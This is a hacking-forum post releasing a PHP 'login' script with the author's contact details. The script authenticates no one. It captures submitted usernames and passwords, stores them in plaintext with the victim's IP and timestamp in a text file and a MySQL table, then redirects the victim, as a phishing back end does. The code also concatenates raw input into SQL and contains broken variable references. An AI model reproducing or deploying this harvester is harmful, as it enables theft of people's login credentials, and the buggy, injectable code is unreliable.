[RELEASE]Advanced Login.php Script (Does txt And Mysql!)
Got bored today and made this in about an hour. Hope everyone likes it! You can modify it however you like. if you need help on how to use it just PM me and ill respond as soon as i get it. Source is below.
To change the settings, simply change the value of the variables in $Settings at the beginning. For Example, to disable it saving the info in a text file, change the line 'SaveTypeText' => True, to 'SaveTypeText' => False,
And so on, understand? mk good.
login.php
Code:
<?php
/*
****************************************************************************
**************************************
** Script By Sk8er
** Email: matt.joseph.smith@gmail.com
** Have any questions or concerns?
** Join the forum below and post in the thread in the programming section.
**
** http://www.logicalgamers.com/
**************************************
****************************************************************************
*/
$Settings = array(
'User' => "",
'Pass' => "",
'ReturnUrl' => "http://localhost/login.php%20script/",
'SaveTypeText' => True,
'TextFileDir' => "./passwords/passes.txt",
'SaveTypeSql' => True,
'SqlHost' => "localhost",
'SqlDatabase' => "loginTest",
'SqlTabl' => "Passes",
'SqlUser' => "root",
'SqlPass' => "",
);
if($_POST['User'] != null || $_POST['User'] != "")
{
$Settings['User'] = $_POST['User'];
}
if($_POST['Pass'] != null || $_POST['Pass'] != "")
{
$Settings['Pass'] = $_POST['Pass'];
}
if($Settings['User'] != "" && $Settings['Pass'] != "")
{
$ip = $_SERVER['REMOTE_ADDR'];
$date = date("l") . " " . date("F") . " " . date("d") . "," . date("Y");
$time = date("H:i");
if($Settings['SaveTypeText']){
$newline = "\r\n\n";
$StartLine = "--------Start--------";
$EndLine = "---------End---------";
$all = $newline . $StartLine . $newline . "Username: " . $Settings['User'] . $newline . "Password: " . $Settings['Pass'] . $newline . "Date: " . $date . $newline . "Time: " . $time . $newline . "IP: " . $ip . $newline . $EndLine . $newline;
$handle = fopen($TextFileDir, "a");
fwrite($handle, $all);
fclose($handle);
}
if($Settings['SaveTypeSql'])
{
$Sql = mysql_connect($Settings['SqlHost'], $Settings['SqlUser'], $Settings['SqlPass']);
if($Sql)
mysql_select_db($Settings['SqlDatabase'],$Sql);
$query = "INSERT INTO `".$Settings['Tabl']."` (`User` ,`Pass` ,`Date` ,`Time` ,`IP`)VALUES ('".$Settings['User']."', '".$Settings['Pass']."', '".$date . " - " . $time ."', '".time()."', '".$ip."');";
mysql_query($query);
}
header ('Location: '.$Settings['ReturnUrl'].' ');
}
?>
Keep it logical!